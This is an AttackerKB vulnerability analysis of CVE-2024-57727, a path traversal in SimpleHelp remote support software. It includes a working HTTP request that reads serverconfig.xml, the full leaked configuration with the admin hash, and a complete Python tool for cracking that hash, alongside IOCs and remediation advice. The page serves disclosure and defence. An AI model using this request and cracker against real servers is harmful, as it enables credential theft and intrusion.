High
CVE-2024-57727
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-57727
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Overview
Between January 8th and 13th 2025, SimpleHelp RMM released patches for a set of vulnerabilities including an unauthenticated path traversal affecting the following versions:
- 5.5.x prior to 5.5.8 (patched January 8th)
- 5.4.x prior to 5.4.10 (patched January 8th)
- 5.3.x prior to 5.3.9 (patched January 13th)
This unauthenticated path traversal vulnerability is able to be chained with CVE-2024-57728 an authenticated arbitrary file upload resulting in remote code execution (RCE). On January 22 2025 Artic Wolf began observing a campaign involving unauthorized access to devices running SimpleHelp RMM software as an initial access vector.
The exploitability has been rated Very High
because it is unauthenticated and easy to automate and exploit. This vulnerability is arguably most valuable to an attacker when it results in collecting hashes that are able to be cracked. This analysis contains a tool to aid in the cracking of SimpleHelp admin hashes, although hashes aren’t always able to be cracked and so attacker value has been rated High
.
Analysis
SimpleHelp secrets are saved in the serverconfig.xml
in the configuration
folder of the application which can be exfiltrated using this path traversal. These secrets contain the SimpleHelpAdmin
user’s hashed password and depending on how the server is configured can include LDAP credentials, OIDC client secrets, API keys, and TOTP seeds used for MFA.
Initial technical analysis of this vulnerability was done imjdl
and can be found in the following blog post. The following article builds upon the great work and initial PoC from imjdl
The initial PoC says this will enable the attacker to return the server configuration file containing server secrets including the SimpleHelpAdmin
hashed password:
GET /toolbox-resource/../randomStr/../../configuration/serverconfig.xml HTTP/1.1 Host: localhost
However this causes no response to be returned from the attempted exploit and the following line to be logged to the admin server log:
18/02 15:56:37.531: M649-18 23:56:37.525 (+13330) [WebDownloaderServer] Request for resource /toolbox-resource/../randomstr/../../configuration/serverconfig.xml received (false)
The vulnerable function responsedToolboxResource
inside WebDownloadServer.class
requires the randomstr
to be a valid part of the path in order for the path to be evaluated successfully. If not, when attempting to call this.writeFileToOutputStream(resourceFile, this.out);
which writes the file to the output stream (the HTTP response being generated by the server) it attempts to read the invalid path and throws a java.io.FileNotFoundException
. This prevents this.out.flush();
from being called, resulting in no HTTP response from the server.
private void respondToolboxResource(String s, String mime) throws IOException { System.out.println("[WebDownloaderServer] Request for resource " + s + " received (" + this.queryType.isHead() + ")"); int toolboxResourceIndex = s.indexOf("toolbox-resource/"); if (toolboxResourceIndex != -1) { s = s.substring(toolboxResourceIndex + "toolbox-resource/".length()); String[] result = s.split("/"); String itemID = result[0]; String resourceID = result[1]; File resourceFile = ToolBoxConstants.getResourceFile(itemID, resourceID); if (resourcePath != null) { resourceFile = new File(resourceFile, resourcePath); } <redacted> this.writeWithoutFlush(""); if (!this.queryType.isHead()) { this.writeFileToOutputStream(resourceFile, this.out); // This attempts to read the invalid path and throws a java.io.FileNotFoundException } this.out.flush(); } }
Looking at the directory structure of the application we can see there are a number of options we can replace randomstr
with :
msfuser@msfuser-virtual-machine:/opt/SimpleHelp/configuration$ ls -l total 88 drwxr-xr-x 2 root root 4096 Feb 7 09:30 alertsdb drwxr-xr-x 4 root root 4096 Feb 8 00:16 backups drwxr-xr-x 2 root root 4096 Feb 7 09:30 branding drwxr-xr-x 4 root root 4096 Feb 7 11:18 history drwxrwxr-x 5 msfuser msfuser 4096 Feb 7 09:25 html drwxr-xr-x 2 root root 4096 Feb 7 09:56 invitations -rw-r--r-- 1 root root 19 Feb 8 00:16 latestversion drwxr-xr-x 2 root root 4096 Feb 8 00:16 notifications drwxr-xr-x 2 root root 4096 Feb 7 09:30 recordings drwxr-xr-x 2 root root 4096 Feb 7 09:30 remotework drwxr-xr-x 2 root root 4096 Feb 7 09:30 secmsg -rw-r--r-- 1 root root 4060 Feb 7 12:18 serverconfig.xml -rw-r--r-- 1 root root 1572 Feb 7 09:31 serverkeys.dat -rw-r--r-- 1 root root 2700 Feb 7 09:34 shlicense.txt -rw-r--r-- 1 root root 86 Feb 7 12:18 simplehelpdisclaimer.txt drwxr-xr-x 2 root root 4096 Feb 7 09:33 simulations drwxr-xr-x 2 root root 4096 Feb 10 09:30 sslconfig drwxr-xr-x 2 root root 4096 Feb 7 12:25 techprefs drwxrwxr-x 2 msfuser msfuser 4096 Feb 7 09:25 templates drwxr-xr-x 2 root root 4096 Feb 7 09:35 toolbox drwxr-xr-x 2 root root 4096 Feb 7 09:30 toolbox-resources drwxrwxr-x 2 msfuser msfuser 4096 Feb 7 09:25 translations
The following PoC enables us to retrieve serverconfig.xml
containing the <HashPassword>
element which is the SimpleHelpAdmin
user’s password.
GET /toolbox-resource/../secmsg/../../configuration/serverconfig.xml HTTP/1.1 Host: localhost sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br If-Modified-Since: Tue, 23 Jul 2024 08:07:23 GMT Connection: keep-alive
The response to the above request is:
HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 4060 <SimpleSuite v="5.5.7" s="2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg=="> <ServerFeatures> <RemoteAccess>on</RemoteAccess> <RemoteSupport>on</RemoteSupport> <Presentation>on</Presentation> <MobileAccess>on</MobileAccess> <RemoteWork>on</RemoteWork> <Tools>on</Tools> <ServiceRecovery>on</ServiceRecovery> </ServerFeatures> <DetailsList> <CUIField type="textfield" width="100" label="Name"> <Remember>true</Remember> <Visible>true</Visible> </CUIField> <CUIField type="textfield" width="100" label="Company"> <Remember>true</Remember> <Visible>true</Visible> </CUIField> </DetailsList> <HashPassword>aIf9uKN6zKVHvcq+qKiKCDkIgfjFyyh27w==:qQXmcjZsGwc2OVTaT4MZw2EbkiY=</HashPassword> <SslKeystore> <SecureKeystoreStorePasswordv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tO1oiaL07a5RTY/ffIhgkwAAAEDLeWVZXbxejTTOr7FWWp4umK+IBBDhNs61D3bjl2oCsp7LvMYWY5S4YAlmLOGDp0zQTYd4ShOUETbdzYh1GcHX</SecureKeystoreStorePasswordv2> <SecureKeystoreKeyPasswordv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tO1oiaL07a5RTY/ffIhglwAAAEDvvdED++Z0KGnbuV1KbK+mpgqluqi+BvLzyiJJ2GmlHK0oYVyztkYjbQAe/q3uCGz6UJ59vw6BPQMXJt7frnQE</SecureKeystoreKeyPasswordv2> <StoreType>SelfSigned</StoreType> </SslKeystore> <Port>80</Port> <Port>443</Port> <SshdEnabled>false</SshdEnabled> <SshdPort>0</SshdPort> <Hostname>127.0.0.1</Hostname> <AutoForget>off</AutoForget> <AutoForgetTimeoutMS>0</AutoForgetTimeoutMS> <DiskCleanup>off</DiskCleanup> <DiskCleanupTimeoutMonths>12</DiskCleanupTimeoutMonths> <EmailBatching> <MaxTime>60000</MaxTime> <MinTime>10000</MinTime> <MinSize>5</MinSize> </EmailBatching> <Logging> <Path>logs</Path> <Archive>on</Archive> <Compress>on</Compress> <MaxPartSize>1073741824</MaxPartSize> <Encrypt>on</Encrypt> <LogsToKeep>3</LogsToKeep> <MaxRunSize>10737418240</MaxRunSize> </Logging> <RedirectDefaultUrlToWelcomePage>yes</RedirectDefaultUrlToWelcomePage> <ServerLanguage>en</ServerLanguage> <TechnicianGroup machineFilters="all"> <ID>2000001</ID> </TechnicianGroup> <Technician> <ID>0</ID> </Technician> <EndOfSessionOption>None</EndOfSessionOption> <EndOfSessionURLSupport>true</EndOfSessionURLSupport> <EndOfSessionURLAccess>true</EndOfSessionURLAccess> <WindowsElevation>true</WindowsElevation> <TechRestriction>*</TechRestriction> <EmailEnabled>off</EmailEnabled> <EmailSettings> <Type>BASIC</Type> <SmtpPort>0</SmtpPort> <SecureOAuth2ClientIDv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tqwlElG4x7kMaXIliM+lQAAAADDaF5A/ZOY64XxN4aNcCCaetehPCKZTO2GmrXWnaorG3IE6w4Y8orl7i5CVU/8s1OM=</SecureOAuth2ClientIDv2> <SecureOAuth2ClientSecretv2>2t2L83Uylzr7nb3q8JwxORuvvDxp7opbZg==:tqwlElG4x7kMaXIliM+lQwAAADBZSt45rCiWzsLPvxwXuMOB/AMORGYW4JAuQizOKXv6o1laFGyAZ2UfsTTAsLohosQ=</SecureOAuth2ClientSecretv2> <TLS>on</TLS> <SmtpSendAsTechnicians>off</SmtpSendAsTechnicians> </EmailSettings> <SessionSummary> <EmailSummary> </EmailSummary> </SessionSummary> <CustomerAuthentication> </CustomerAuthentication> <Paths> <Recordings>configuration/recordings</Recordings> </Paths> <Recordings> <Enabled>on</Enabled> <Auto>off</Auto> </Recordings> <RemoteWork> <OSAuthentication>off</OSAuthentication> <RemoteWorkGroupID>-1</RemoteWorkGroupID> <RemoteWorkOSAuthDefault>on</RemoteWorkOSAuthDefault> </RemoteWork> <MachineTimeoutMS>30000</MachineTimeoutMS> <SecureMessengerRouteMapSize>10000</SecureMessengerRouteMapSize> <ConnectionCode> <Token>nDmANMnzOa2Jo3Tm9bXS22/g4iWlCuvikFpXEHWJD3QpCHaZZiM5ZUv/lPaI9T7lpnjV3tQX8lWpB/id6Kkm7Q==</Token> <Enabled>off</Enabled> </ConnectionCode> <PrivacyPolicyURL/> <PushNotifications> <Enabled>on</Enabled> <WithDetails>off</WithDetails> </PushNotifications> <FailedLoginBlocking> <TechnicianAccount> <Enabled>on</Enabled> <Max>100</Max> <Duration>300000</Duration> <ResetAfter>60000</ResetAfter> </TechnicianAccount> <IP> <Enabled>on</Enabled> <Max>100</Max> <Duration>300000</Duration> <ResetAfter>60000</ResetAfter> </IP> </FailedLoginBlocking> <FeatureRLE>128</FeatureRLE> </SimpleSuite>
We can see the hashed SimpleHelpAdmin
password is defined in the xml as <HashPassword>
. By looking through the application source code we can determine SimpleHelp uses the SaltedHashPasswordUtil
class from the package:bcutil
as seen below in order to store the admin password inside the config file:
The hashPasswordWithSalt
is an interesting method that accepts a salt, but doesn’t actually use it when hashing the password. It converts the password to UnicodeBig
(or UTF-16BE
) and then adds the password to the digest twice (instead of adding the salt once and the password once) before taking the Base64 encoded SHA-1 digest and prepending the unused salt to it.
I’ve created a PoC for cracking this unique format which can be found here, as trying to send this salt:hashed_password
combo to john
or hashcat
would require some massaging:
import hashlib import base64 import argparse def hash_password_with_salt(pword, salt): utf16_bytes = pword.encode('utf-16-be') # Prepend the BOM for UTF-16 Big Endian bom = bytearray([0xFE, 0xFF]) utf16_bytes_with_bom = bom + utf16_bytes password_bytes = utf16_bytes_with_bom salt_bytes = utf16_bytes_with_bom # Same as password_bytes # Create SHA-1 hash object sha1 = hashlib.sha1() sha1.update(password_bytes) sha1.update(salt_bytes) result = base64.b64encode(sha1.digest()).decode('utf-8') return f"{salt}:{result}" def load_word_list(file_path): with open(file_path, 'r') as file: return [line.strip() for line in file.readlines()] def load_password_file(file_path): with open(file_path, 'r') as file: password_data = {} for line in file.readlines(): salt, hashed_password = line.strip().split(':') password_data[salt] = hashed_password return password_data def compare_hashes(word_list, password_data, verbose=False): for pword in word_list: for salt, expected_hash in password_data.items(): generated_hash = hash_password_with_salt(pword, salt) if generated_hash == f"{salt}:{expected_hash}": print(f"Match found! Password: \"{pword}\" matches: \"{salt}:{expected_hash}\"") break else: if verbose: print(f"No match for password: {pword}") def main(): parser = argparse.ArgumentParser(description="Hash password with salt and compare with a hash.") parser.add_argument('-w', '--wordlist', type=str, help='Path to a file containing a list of passwords (one per line)', required=True) parser.add_argument('-p', '--password_file', type=str, help='Path to a file containing salt:hashed_password pairs (one per line)', required=True) parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output for non-matching passwords', default=False) args = parser.parse_args() word_list = load_word_list(args.wordlist) password_data = load_password_file(args.password_file) compare_hashes(word_list, password_data, verbose=args.verbose) if __name__ == "__main__": main()
Taking the following wordlist formatted one per line:
msfuser@msfuser-virtual-machine:~/testing_simple_help$ cat wordlist N0tpassword! testingtesting HelloIsItMeYoureLookingFor notpassword
And the following file containing the <HashPassword>
element from the serverconfig.xml
:
msfuser@msfuser-virtual-machine:~/testing_simple_help$ cat hashed_password 0QV/G2p2ak4pn+VnLpDXh/+smv1TIwavmA==:36YiPZ6CqoDG8ivv58szY45w5AU=
One can run the PoC in order to crack the hashes like so (append the -v
verbose flag in order to see all the passwords that do not match the provided hash):
msfuser@msfuser-virtual-machine:~/testing_simple_help$ python3 crack.py -w wordlist -p hashed_password Match found! Password: "notpassword" matches: "0QV/G2p2ak4pn+VnLpDXh/+smv1TIwavmA==:36YiPZ6CqoDG8ivv58szY45w5AU="
For more information on how you can chain this unauthenticated path traversal with the authenticated file upload from the same set of patches to obtain RCE, check out the AKB article
IOCs
By default the Server Log will log WebDownloaderServer
requests. The log should be accessed from the SimpleHelp Technician Console, as it’s encrypted and you won’t be able to read it directly from disk. If you see request for resource /toolbox-resource/
followed by any number of: ../
, like in the log below, this means you have been compromised:
20/02 09:38:19.033: M649-20 17:38:19.033 (+ 5327) [WebDownloaderServer] Request for resource /toolbox-resource/../secmsg/../../configuration/serverconfig.xml received (false)
If this is the case for you, update SimpleHelp immediately and rotate any secret stored in serverconfig.xml
. Also review/ replace/ notify the owner of any confidential information stored on the operating system running the SimpleHelp server.
References
https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
https://rustlang.rs/posts/simple-help/
https://arcticwolf.com/resources/blog/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-for-initial-access/
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
Products
Exploited in the Wild

Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Zero-day Exploit
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: